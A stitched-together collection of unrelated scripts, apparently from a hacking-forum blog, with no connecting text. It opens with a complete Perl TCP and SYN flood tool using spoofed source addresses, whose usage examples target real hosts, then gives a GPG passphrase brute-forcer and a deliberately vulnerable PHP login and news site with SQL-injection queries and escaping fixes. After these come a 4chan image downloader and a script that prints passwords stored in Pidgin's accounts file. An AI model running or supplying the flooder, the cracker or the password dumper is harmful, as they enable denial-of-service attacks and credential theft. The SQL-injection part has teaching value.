#!/usr/bin/perl -w
# TCP & SYN flooder
# By Tom
# kaabel.net/blog
# irc.malvager.com #perlbar
# TCP flooder based on Javaloic
# SYN flooder based on synSpoofFlood by Lucas Allen
 
# Modules used
use strict;
use threads;
use threads::shared;
use Config;
use Socket;
use Data::Validate::IP qw(is_ipv4 is_ipv6);
use Data::Validate::Domain 'is_domain';
use Time::HiRes 'usleep';
use Getopt::Long::Descriptive;
use Net::RawIP;
 
# Declare variables 
my $type;
my $target;
my $port;
my $thread_count;
my $threads_left :shared; # Make the variable is 'global' for all threads
my $delay;
my $threads;
my @thread_list;
my $time;
my $end_time;
my $proto;
my $sin;
my $ip;
my $error_message :shared;
$error_message = ""; # Make sure it's not undef
my $packet_count :shared;
$packet_count = 1;
local $| = 1; # Force a flush after every write or print, necessary for \r
 
# Create the usage screen and make the options easily accesible
my ($option, $usage) = describe_options(
  'diluvium.pl %o type target port',
  ['delay|d=i', ''], # Delay takes an integer, notice 'd=i'
  # I left the description (second) field empty, because I won't be using $usage, since I think it's too restrictive
  ['stop|s=i', ''],
  ['threads|t=i', ''],
  ['help|h', ''],
  ['version|V', ''],
);
 
if ($option->version) { # If ./diluvium.pl was called with --version or -V
  print "Diluvium 1.0\nTCP & SYN flooder in Perl\nAuthor: Tom\nBlog: kaabel.net\nIRC: irc.malvager.com #perlbar\nTCP flooder based on Javaloic\nSYN flooder based on synSpoofFlood by Lucas Allen\n";
  exit;
}
 
# If the argument count isn't equal to two (start counting at zero), or if -h option was invoked
if ($#ARGV != 2 or $option->help) { 
  die "diluvium.pl [-dhstV] [long options...] type target port
  Type
  S|SYN   Set the flooding type to SYN
  T|TCP   Set the flooding type to TCP
 
  General options
  -d --delay       The delay in between the individual packages in microseconds (Default: 100000 (TCP), 650 (SYN))
  -s --stop        Stop in this given amount of seconds (Default: 0, meaning go on until an error occurs ('forever'))
 
  TCP only options
  -t --threads     The amount of threads to use (Default: 50)
 
  Help options
  -h --help        Print this screen      
  -V --version     Print version and credits
 
  Examples: 
  ./diluvium.pl S 172.19.3.1 8080
  ./diluvium.pl -d 750 -s 300 SYN 172.19.3.1 443
  ./diluvium.pl T -t 9 www.google.com 80 -d 130000 
  ./diluvium.pl TCP 192.168.1.1 80 --delay 120000 --threads 11 -s 300\n";
}
 
if ($ARGV[0] =~ /S|(SYN)/ ) {
  print "[*]Flooding type set to SYN\n";
  $type = "SYN";
}
elsif ($ARGV[0] =~ /T|(TCP)/ ) {
  print "[*]Flooding type set to TCP\n";
  $type = "TCP";
}
 
# Assign the target (first argument) and verify it
$target = $ARGV[1];
unless (is_ipv4($target) or is_ipv6($target) or is_domain($target)){
  die "[!]Target should be a valid IP address or a domain name\n";
}
 
# Assign the port (second argument) and verify it
$port = $ARGV[2];
if ($port !~ /\d+/ or $port > 65534 or $port < 1) {
  die "[!]Port should be a integer in between 0 and 65535\n";
}
 
# Set the amount of threads, if type is TCP
if ($type eq "TCP") {
  if (!$Config{usethreads}) { # Check whether Perl has multithreading capabilities
    print "[!]No multithreading capabilites found! diluvium.pl won't be as effective as normal\n";
    $threads = 0; # See if (!$threads) below
  }
  else {
    if ($option->threads) { # Is the amount of threads specified?
      if ($option->threads >= 200) { # If the amount of threads is greater or equal than 200 (bandwith consuming)
        &sure_threads;
      }
      $thread_count = $option->threads; # Set the thread_count to the specified integer
      print "[*]Amount of threads set to $thread_count\n";
    }
    else {
      $thread_count = 50; # Go with the default amount of threads
        print "[*]Defaulting to 50 threads\n";
    }
    $threads = $thread_count; # Set $threads to equal the amount of threads, see while loop below
  }
  $threads_left = $thread_count; #- 1; # Useful in the fail sub
 
  # Set the delay
  if ($option->delay) { # Very similar code to the $option->threads block
    if ($option->delay > 37500) {  # Minimal Javaloic speed
      &sure_delay_slow;
    }
    elsif ($option->delay < 5660) { # Maximal Javaloic speed
      &sure_delay_fast;
    }
    $delay = $option->delay;
    print "[*]Delay set to $delay microseconds\n";
  }
  else {
    $delay = 100000;
    print "[*]Defaulting to 100000 microseconds\n"; # Standard Javaloic speed 
  }
 
  # Set the end time
  &stop;
 
  $proto = getprotobyname('tcp'); # Get the protocol number
  inet_aton($target) or die "[!]$target is not an existing domain\n"; # Convert the address into binary data
  $sin = sockaddr_in($port, inet_aton($target)); #  Create a structure and include the port and the target
 
  print "[*]TCP flooding $target on port $port...\n";
 
  if (!$threads or $thread_count == 1) { # If we're only using one thread 
    &tcp_flood; # Just call the sub and start flooding
  }
 
  while ($threads) { # While there are threads to spawn
    $thread_list[$threads] = threads->create(\&tcp_flood); # Spawn a new thread and assign a list element to it
    $thread_list[$threads]->detach; # Detach the thread, don't wait for it to finish (join)
    $threads--; 
  }
 
  $threads = 1; # Reset $threads
  while ($threads_left) { # While there are thread left (see fail sub)
    sleep 1; # Nothing to do, except wait
  }
}
 
if ($type eq "SYN") {
  die "[!]You must be root to SYN flood\n" if $> != 0;
 
  # Set the delay
  if ($option->delay) { # Very similar code to the $option->threads block
    if ($option->delay > 10000) {  # ~6 kB
      &sure_delay_slow;
    }
    elsif ($option->delay < 500) { # ~90 kB
      &sure_delay_fast;
    }
    $delay = $option->delay;
    print "[*]Delay set to $delay microseconds\n";
  }
  else {
    $delay = 650; # ~70 kB
    print "[*]Defaulting to 650 microseconds\n"; # Standard Javaloic speed 
  }
 
  # Resolve domain name to IP
  $target = inet_ntoa(inet_aton($target)); 
 
  # Set the end time
  &stop;
 
  &syn_flood # Here we go  
}
 
 
# TCP flooding sub
sub tcp_flood {
  socket(Socket, PF_INET, SOCK_STREAM, $proto); # Create a TCP socket
  connect(Socket, $sin) or &fail; # Connect to the socket or call fail
  $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified
  until ($end_time <= time()) {
    my $message = &random(int(rand(20))+1); # Provide a random length (> 1 ;) to the random message sub
    send(Socket, $message, 0); # Send a random message over the socket (random to prevent easy filtering)
    $packet_count ++; # Increase the packet count
    print "\r[*]Successful requests: $packet_count"; # Overwrite the last printed number by the new count
    usleep($delay); # Microsleep
    $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky)
 
 
  }
  $threads_left --; # Thread is (almost) done
  print "\n" if !$threads_left; # Put a newline after the final packet count, see fail sub also
}
 
# SYN flooding sub
sub syn_flood {
  my $packet = Net::RawIP->new;
  $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified
  until ($end_time <= time()) {
    $ip = &generate_ip;
    my $source_port = int(rand(65534))+1; # Pick a (port) number (integer) in between 0 and 65535
    $packet->set({ # Create a packet with a random source IP and a random port number
      ip => {saddr => $ip, daddr => $target},
                        tcp => {source => $source_port, dest => $port, syn => 1}
    });
    $packet->send; # Sent the previously crafted packet
    $packet_count ++;
    print "\r[*]Successfully sent $packet_count packets";
    usleep($delay); # Microsleep
    $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky)
  }
  print "\n"; # Put a newline after the final packet count
}
 
sub generate_ip {
  my $first = int(rand(255))+1; # Pick an integer in between 0 and 255
  my $second = int(rand(255)); 
  my $third = int(rand(255)); 
  my $fourth = int(rand(255)); 
  return "$first\.$second\.$third\.$fourth"; # Generate a fake IP address 
}
 
# Failure TCP sub
sub fail {
  $threads_left --; # Decrease the number of threads left since the thread will exit at the end of this sub
 
  # At first, $! will contain 'No route to host' if the host is not there, but after ~10 threads this message will change to 'Connection timed out' for some reason 
  # However these are two different error messages and therefore can mean very different things. 'No route to host' basically means the host is not present, while connection time out could also mean that a firewall is blocking the port
  # To maintain this difference I'll be setting the error message 'manually' here if it contained 'No route to host' at first
  # This basically what the following four lines do
  $error_message = $! unless $error_message =~ /No route/; 
        if ($error_message =~ /No route/) {
    $error_message = "No route";
  }  
  print "[!]$error_message to $target on port $port\n" if !$threads_left; # Print the fail message if we're down to the last thread, otherwise you'd see this message $thread_count times
  threads->exit(); # Exit (the thread or the main sub; works for both :)) 
}
 
# Are you sure ... so many threads sub
sub sure_threads {
  print "[?]Are you sure you want to deploy so many threads? [y\\N]\n"; # Print the question, N is default
  my $answer = <STDIN>; # Get the answer from STDIN (user input)
  chomp $answer; 
  if ($answer !~ /\by\b/i) { # If the answer is not an y or an Y
    exit;
  }
}
 
# Are you sure ... this slow, delay sub
sub sure_delay_slow {
  print "[?]Are you sure you want to go this slow? [y\\N]\n";
  my $answer = <STDIN>;
  chomp $answer;
  if ($answer !~ /\by\b/i) {
    exit;
  }
}
 
# Similar to the sub above
sub sure_delay_fast {
  print "[?]Are you sure you want to go this fast? [y\\N]\n";
  my $answer = <STDIN>;
  if ($answer !~ /\by\b/i) {
    exit;
  }
}
 
# Stop time sub
sub stop {
  if ($option->stop) { 
    $end_time = $option->stop;
    $end_time = time() + $end_time; # Set $end_time at unix time + the amount of seconds specified
  }
  else { # If stop is zero or not specified
    $time = 1;
  }
}
 
# Generate random text sub
# I took this code straight of the web: http://th.atguy.com/mycode/generate_random_string/
sub random {
  my $length_of_randomstring=shift;# The length of the random string to generate (see sub argument)
 
  my @chars=('a'..'z','A'..'Z','0'..'9','_'); # List of characters
  my $random_string;
  foreach (1..$length_of_randomstring) 
  {
    # rand @chars will generate a random number between 0 and scalar @chars
    $random_string.=$chars[rand @chars];
  }
  return $random_string;
}

#!/usr/bin/perl -w
# This script was largely based on this Python script: http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker
# Author: Tom
# Blog: kaabel.net/blog/
# IRC: irc.malvager.com #perlbar
 
use strict;
use GnuPG;
 
my $gpg = new GnuPG(); # Create GnuPG handle
my $found;
my @range = ('a' .. 'z', 'A' .. 'Z'); # Edit your charset here (alpha+caps, in this case)
my $maxlength = 5; # Max length of the password
my $minlength = 1;
my $time = time();
 
sub recurse($$$) {
  my ($width, $position, $basestring) = @_; # Get the arguments supplied in the function's arguments.
  foreach my $char (@range) {
    if ($position < $width - 1) { # If the position needs to be shifted
      &recurse ($width, $position+1, ("$basestring" . "$char")); # Guess why it's called recurse :p
      next;
    }
                # You must enter the file name of your encrypted file after ciphertext => and optionally a name for the output as well
    eval { $gpg->decrypt(ciphertext => 'file.gpg', output => 'file', passphrase => $basestring . $char, symmetric => 'true') }; # Eval is needed here, otherwise the program will end after an error.
                $found = $basestring . $char if !$@; # If there were no errors, make $found equal the password
                 if (($time + 900) < time()) { # If 900 seconds have passed (15 minutes),
      print "Trying: " . $basestring . $char . "\n"; # print the current 'try'
      $time = time(); # Reset the tiem
    }
 
    if ($found) { # If the password was found,
      print "Found: $found\n"; 
      exit;
    }
  }
}
 
foreach my $basewidth ($minlength .. $maxlength) { # Loop through the possible lengths of the password
  print "Checking paswords with length $basewidth\n";
  &recurse($basewidth, 0, ""); # Call the cracking sub
}

<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>Login</center>
</H1>
 
<form action='login.php' method='post'>
  <p><center>Username: <input type='text' name='username'/></center></p>
  <p><center>Password: <input type='text' name='password'/></center></p>
  <p><center><input type='submit'/></center></p>
</form>
</body>
</html>

<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>Login</center>
</H1>
 
<?php
# Get the username and password from the post variable.
$username = $_POST['username'];
$password = $_POST['password'];
 
$connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error()); # Connect to the MySQL database
$database = mysql_select_db('website', $connect) or die(mysql_error()); # Select the appropriate database
$result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error()); # Run the MySQL query, further explanation will follow
#echo "SELECT id FROM users WHERE username='$username' AND password='$password'"; # Echo the query (for debugging purposes)

if(!$result or !($row = mysql_fetch_row($result))) { # If the query failed or if there's no result for the query ,
  die ('<H3><center>Invalid login credentials supplied, please go back and try again</center><H3>'); # Die with an error message
}
 
echo '<H3><center>Welcome!</center></H3>'; # Otherwise, greet!
?>
 
</body>
</html>

mysql> DESCRIBE users;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| id       | int(11)     | YES  |     | NULL    |       |
| username | varchar(35) | YES  |     | NULL    |       |
| password | varchar(35) | YES  |     | NULL    |       |
+----------+-------------+------+-----+---------+-------+

+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+

mysql> SELECT * FROM users WHERE id=3 OR 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+

<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>News</center>
</H1>
<?php
if(isset($_GET['id'])) { # If an id is specified
  $id = $_GET['id'];
        # Prepare the MySQL connection and stuff, see login.php
  $connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error());
  $database = mysql_select_db('website', $connect) or die(mysql_error());
  $result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error());
  #echo "SELECT * FROM news WHERE id=$id <br>"; # Echo the query (for debugging purposes)
  while ($row = mysql_fetch_assoc($result)) { # While there's another row in the result, fetch it
    echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # and print the row in the contents of the column named text
  }
 
  include("menu.html"); 
}
else {
  $id = 'index.php?id=1'; # If no id is specified, a.k.a. http://localhost/index.php or something similar
  header("Location: http://localhost/$id"); # Make the url: http://localhost/index.php?id=1
}
?>
</body>
</html>

<center><a href="index.php?id=1">First entry</a></center>
<center><a href="index.php?id=2">Second entry</a></center>
<center><a href="index.php?id=3">Third entry</a></center>
<center><a href="login.html">Login</a></center>

mysql> DESCRIBE news;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | YES  |     | NULL    |       |
| text  | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+

mysql> SELECT * FROM news;
+------+--------------------------+
| id   | text                     |
+------+--------------------------+
|    1 | A News Article           |
|    2 | Another News Article     |
|    3 | Yet Another News Article |
+------+--------------------------+

mysql> SELECT id,username FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
+------+----------+

mysql> SELECT id,username FROM users UNION ALL SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    1 | root     |
|    2 | password |
+------+----------+

mysql> SELECT id,username FROM users UNION SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    2 | password |
+------+----------+

mysql> SELECT text,id FROM news ORDER BY 2 DESC;
+--------------------------+------+
| text                     | id   |
+--------------------------+------+
| Yet Another News Article |    3 |
| Another News Article     |    2 |
| A News Article           |    1 |
+--------------------------+------+

mysql> SELECT text,id FROM news ORDER BY 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

mysql_query("SELECT * FROM news WHERE id='$id'")

echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # Notice $row['text']

mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,2;
+------+------+
| id   | text |
+------+------+
|    1 | 2    |
+------+------+

mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,username FROM users;
+------+----------+
| id   | text     |
+------+----------+
|    1 | root     |
|    1 | username |
+------+----------+

$id = mysql_real_escape_string($id); # Escape special characters such as '
$result = mysql_query("SELECT * FROM news WHERE id=$id") or die(mysql_error()); # No more quotes around $id

$id = mysql_real_escape_string($id); # Escape special characters such as '
# Again, this makes the use of quotes not a problem :)
$result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error()); # Keep the quotes

$username = mysql_real_escape_string($username);
$password = mysql_real_escape_string($password);
$result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error());

#!/usr/bin/perl
#    4chan-thread-dl.pl
# Mon Oct 04 16:14:56 2010
# jolttz{at}gmail{dot}com
# Distributed under the terms of
# the GNU General Public License
#
 
use strict;
use warnings;
use LWP::Simple qw($ua get getstore);
 
# We want to see the progress of downloads
$ua->show_progress(1);
 
my $url = $ARGV[0];
my $run = 1;
 
# Run while canceled
run() while 1;
 
sub get_content {
    my ($url, $thread) = @_;
 
    # Get content and...
    my $content = get($url);
        die "404: Not found!" unless defined $content;
 
    # ...print to a file
    open (CONT, ">$thread\/$thread.html");
    print CONT $content;
    close (CONT);
 
    return $content;
}
 
sub run {
    if ($url =~ /http:\/\/boards.4chan.org\/[A-Z]{1,4}\/res\/(\d+)/i) {
        $run++;
 
        my $thread = $1;
 
        # Make a directory for the images
        mkdir $thread, 0755;
 
        print "Downloading content:\n";
        my $content = get_content($url, $thread);
 
        # Split content to lines because we want to go
        # through each line and see if there's an image we want
        my @content_lines = split /\n/, $content;
 
        print "\nDownload location: ". $thread. "\n";
 
        # Go through each line
        foreach (@content_lines) {
            # If we see an image
            if  (/"(http:\/\/images.4chan.org\/[A-Z]{1,4}\/src\/(\d+\.(jpg|png|gif)))"/i) {
                # Store the image unless it already exists
                getstore($1, "$thread\/$2") unless -e "$thread\/$2";
            }
        }
 
        print "Sleeping for 30 seconds before run #". $run. "\n";
        sleep(30);
 
        print "\n";
    } else {
        print "Usage: perl 4chan-thread-dl.pl\n";
        exit(0);
    }
}

#!/usr/bin/perl
#    pidgin-recovery.pl
# Sat Oct 02 21:28:17 2010
# Copyright  2010  jolttz
# jolttz{ät}gmail{dot}com
#
 
use strict;
use warnings;
 
my $home = $ENV{HOME}; # Home dir for Linux
 
if ($^O =~ /mswin/i) { # If OS is Windows
    # Get home dir for Win and add App Data folder to it
    $home = $ENV{USERPROFILE}. "/Application Data";
}
 
# Open the file that contains accounts info
open (FILE, "$home/.purple/accounts.xml") || die ("Could not open file!");
 
# Go through each line and print the info we are looking for
foreach my $line (<FILE>) {
    if ($line =~ /<protocol>(.+)<\/protocol>/) {
        print "--------------------------\n";
        print "Protocol: ". $1. "\n";
    } elsif ($line =~ /<name>(.+)<\/name>/) {
        print "Name: ". $1. "\n";
    } elsif ($line =~ /<password>(.+)<\/password>/) {
        print "Password: ". $1. "\n";
    }
}